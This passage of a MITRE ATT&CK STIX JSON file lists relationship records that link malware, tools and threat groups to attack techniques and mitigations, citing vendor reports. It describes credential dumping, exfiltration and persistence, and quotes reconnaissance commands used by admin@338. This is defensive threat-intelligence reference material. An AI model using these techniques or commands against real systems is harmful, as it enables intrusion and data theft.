                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.331Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6a866320-6bfd-4130-941c-bcd888f2ee92",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can create a service.(Citation: Symantec Wiarp May 2012)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Wiarp May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99"
                }
            ],
            "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-03-30T18:27:31.605Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Konni May 2017",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Medium KONNI Jan 2020",
                    "url": "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b",
                    "description": "Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."
                }
            ],
            "description": "[KONNI](https://attack.mitre.org/software/S0356) has used cmd.exe execute arbitrary commands on the infected host across different stages of the infection change.(Citation: Talos Konni May 2017)(Citation: Medium KONNI Jan 2020)",
            "id": "relationship--afb593c0-5388-441c-a868-c8bc520ffcaa",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-04-28T18:12:13.722Z",
            "created": "2019-01-31T00:36:40.984Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "source_name": "FireEye APT32 April 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html",
                    "description": "Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020."
                },
                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
                },
                {
                    "source_name": "Amnesty Intl. Ocean Lotus February 2021",
                    "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/",
                    "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has sent spearphishing emails containing malicious links.(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: FireEye APT32 April 2020)(Citation: Volexity Ocean Lotus November 2020)(Citation: Amnesty Intl. Ocean Lotus February 2021)",
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            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "type": "relationship",
            "modified": "2021-03-01T16:51:08.367Z",
            "created": "2019-01-31T01:07:58.708Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "SecureAuth. (n.d.).  Retrieved January 15, 2019.",
                    "url": "https://www.secureauth.com/labs/open-source-tools/impacket",
                    "source_name": "Impacket Tools"
                }
            ],
            "description": "SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information.(Citation: Impacket Tools)",
            "id": "relationship--b39c536a-55f1-485a-8235-24acb39d0be6",
            "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "type": "relationship",
            "modified": "2020-03-19T23:01:00.243Z",
            "created": "2019-01-31T01:39:56.558Z"
        },
        {
            "id": "relationship--177950ec-8f25-4243-8d9d-a15e24ff7c98",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used FTP to exfiltrate collected data.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "type": "relationship",
            "modified": "2020-03-16T17:59:40.299Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--cdbfa147-52be-411d-bcbd-f6dcbf91d7b5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has encrypted and encoded data in its malware, including by using base64.(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Unit 42 Playbook Dec 2017)(Citation: Crowdstrike Helix Kitten Nov 2018)(Citation: Unit42 OilRig Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "source_name": "Unit 42 QUADAGENT July 2018"
                },
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                },
                {
                    "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.",
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/",
                    "source_name": "Crowdstrike Helix Kitten Nov 2018"
                },
                {
                    "source_name": "Unit42 OilRig Nov 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/",
                    "description": "Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig\u2019s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019."
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-18T20:18:02.573Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--f653eb7d-7027-4161-9071-b52336bd4fbc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses an event filter in WMI code to execute a previously dropped executable shortly after system startup.(Citation: FireEye WMI 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye WMI 2015",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
                }
            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
            "type": "relationship",
            "modified": "2020-03-17T02:33:06.632Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8b439661-99e2-4410-b043-082155793155",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--10571bf2-8073-4edf-a71c-23bad225532e",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
            "type": "relationship",
            "modified": "2020-01-24T14:52:55.423Z",
            "created": "2017-05-31T21:33:27.028Z"
        },
        {
            "id": "relationship--5c816fc0-c4e3-47ef-8193-ef88eabdfc7e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands after exploiting a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about files and directories: <code>dir c:\\ >> %temp%\\download</code> <code>dir \"c:\\Documents and Settings\" >> %temp%\\download</code> <code>dir \"c:\\Program Files\\\" >> %temp%\\download</code> <code>dir d:\\ >> %temp%\\download</code>(Citation: FireEye admin@338)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
            ],
            "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-09-04T19:48:17.575Z",
            "created": "2017-05-31T21:33:27.052Z"
        },
        {
            "id": "relationship--4ff492bf-f91d-445d-a29e-6e60c67a05c1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses non-descriptive names to hide functionality and uses an AES CBC (256 bits) encryption algorithm for its loader and configuration files.(Citation: S2 Grupo TrickBot June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                }
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-06-24T19:15:06.610Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--88ad4f5a-f127-435c-a8a0-6a6fceddfa47",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) can install itself as a new service.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.747Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--949c94e6-7c2f-4605-957f-11b7cd5a6097",
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484",
            "relationship_type": "uses",
            "target_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a",
            "external_references": [
                {
                    "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                }
            ],
            "description": "(Citation: Symantec Elderwood Sept 2012)",
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            "description": "[H1N1](https://attack.mitre.org/software/S0132) obfuscates C2 traffic with an altered version of base64.(Citation: Cisco H1N1 Part 2)",
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            ],
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                {
                    "source_name": "Cisco H1N1 Part 2",
                    "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.",
                    "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"
                }
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                {
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.",
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                }
            ],
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        },
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            "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) uses cmd.exe to execute commands on the victim\u2019s machine.(Citation: FireEye APT10 Sept 2018)",
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                {
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                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                }
            ],
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                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
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                }
            ],
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            "type": "relationship",
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            "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) collects MAC address and local IP address information from the victim.(Citation: US-CERT FALLCHILL Nov 2017)",
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            ],
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                {
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                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
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                }
            ],
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                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
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                },
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                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
                    "source_name": "OilRig New Delivery Oct 2017"
                },
                {
                    "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.",
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/",
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            "description": "[Briba](https://attack.mitre.org/software/S0204) connects to external C2 infrastructure over port 443.(Citation: Symantec Briba May 2012)",
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                }
            ],
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            "relationship_type": "uses",
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            "relationship_type": "uses",
            "target_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4",
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            "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can communicate over a reverse proxy using SOCKS5.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)",
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                    "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.",
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                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "source_name": "Volexity Patchwork June 2018"
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            "relationship_type": "uses",
            "target_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
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                {
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                    "source_name": "ThreatConnect Anthem"
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            ],
            "description": "(Citation: ThreatConnect Anthem)",
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            "description": "One persistence mechanism used by [CozyCar](https://attack.mitre.org/software/S0046) is to register itself as a scheduled task.(Citation: F-Secure CozyDuke)",
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                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
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                }
            ],
            "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
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            "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1",
            "relationship_type": "uses",
            "target_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252",
            "external_references": [
                {
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                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "source_name": "Symantec Orangeworm April 2018"
                }
            ],
            "description": "(Citation: Symantec Orangeworm April 2018)",
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            "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to retrieve information about connected users.(Citation: Palo Alto CVE-2015-3113 July 2015)",
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                {
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                    "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
                }
            ],
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            "description": "[FruitFly](https://attack.mitre.org/software/S0277) has the ability to list processes on the system.(Citation: objsee mac malware 2017)",
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                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
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        {
            "id": "relationship--becf0a5e-4636-4d2f-bd4a-fd60b15ee74a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has a keylogger.(Citation: Alintanahin 2014)(Citation: Gh0stRAT ATT March 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Alintanahin 2014",
                    "description": "Alintanahin, K. (2014, March 13). Kunming Attack Leads to Gh0st RAT Variant. Retrieved November 12, 2014.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/kunming-attack-leads-to-gh0st-rat-variant/"
                },
                {
                    "source_name": "Gh0stRAT ATT March 2019",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant",
                    "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."
                }
            ],
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-07-15T19:28:00.779Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0f66681a-7daf-4cd7-99af-3005b6586306",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Brave Prince](https://attack.mitre.org/software/S0252) collects hard drive content and system configuration information.(Citation: McAfee Gold Dragon)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.032Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--daca6956-64b8-468f-aa64-0ce4a4f7ad28",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19",
            "relationship_type": "mitigates",
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            "type": "relationship",
            "modified": "2020-02-05T20:09:23.041Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4d8fd7fc-eb0b-4031-8df0-ef3d237edb7c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) has built in commands to identify a host\u2019s IP address and find out other network configuration settings by viewing connected sessions.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
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                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-04-24T17:52:47.935Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--fa04b7b3-e9ea-4c35-a2a5-8d0c73f5698b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to remotely execute commands.(Citation: Cylance Shell Crew Feb 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Shell Crew Feb 2017",
                    "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.",
                    "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
                }
            ],
            "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T22:02:49.025Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--94db2b6e-c01c-4aec-9229-4a6dcda3c6ee",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953",
            "type": "relationship",
            "modified": "2020-02-21T20:57:38.288Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9c012fcf-876b-4101-aa28-6af8b00a51d2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Responder](https://attack.mitre.org/software/S0174) captures hashes and credentials that are sent to the system after the name services have been poisoned.(Citation: GitHub Responder)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "GitHub Responder",
                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
                    "url": "https://github.com/SpiderLabs/Responder"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "source_ref": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529"
        },
        {
            "id": "relationship--3427863f-d4c4-4272-ad60-1479e42ed4af",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html",
                    "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.",
                    "source_name": "FireEye Clandestine Fox Part 2"
                }
            ],
            "description": "(Citation: FireEye Clandestine Fox Part 2)",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.690Z",
            "created": "2017-05-31T21:33:27.058Z"
        },
        {
            "id": "relationship--d30d8fa0-7f24-41e5-ae8d-e4449e88d2f0",
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            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools have contained an application to check performance of USB flash drives. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has also used malware to scan for removable drives.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: ESET Gamaredon June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "type": "relationship",
            "modified": "2020-06-22T17:54:15.755Z",
            "created": "2017-05-31T21:33:27.080Z"
        },
        {
            "id": "relationship--d4bffc31-3d7a-4f05-a85d-fdaaaa70853d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FinFisher](https://attack.mitre.org/software/S0182) extracts and decrypts stage 3 malware, which is stored in encrypted resources.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.finfisher.com/FinFisher/index.html",
                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "source_name": "FinFisher Citation"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "source_name": "Microsoft FinFisher March 2018"
                }
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-08-12T17:30:07.461Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fa745ba0-428f-4c3c-84be-e333f659690f",
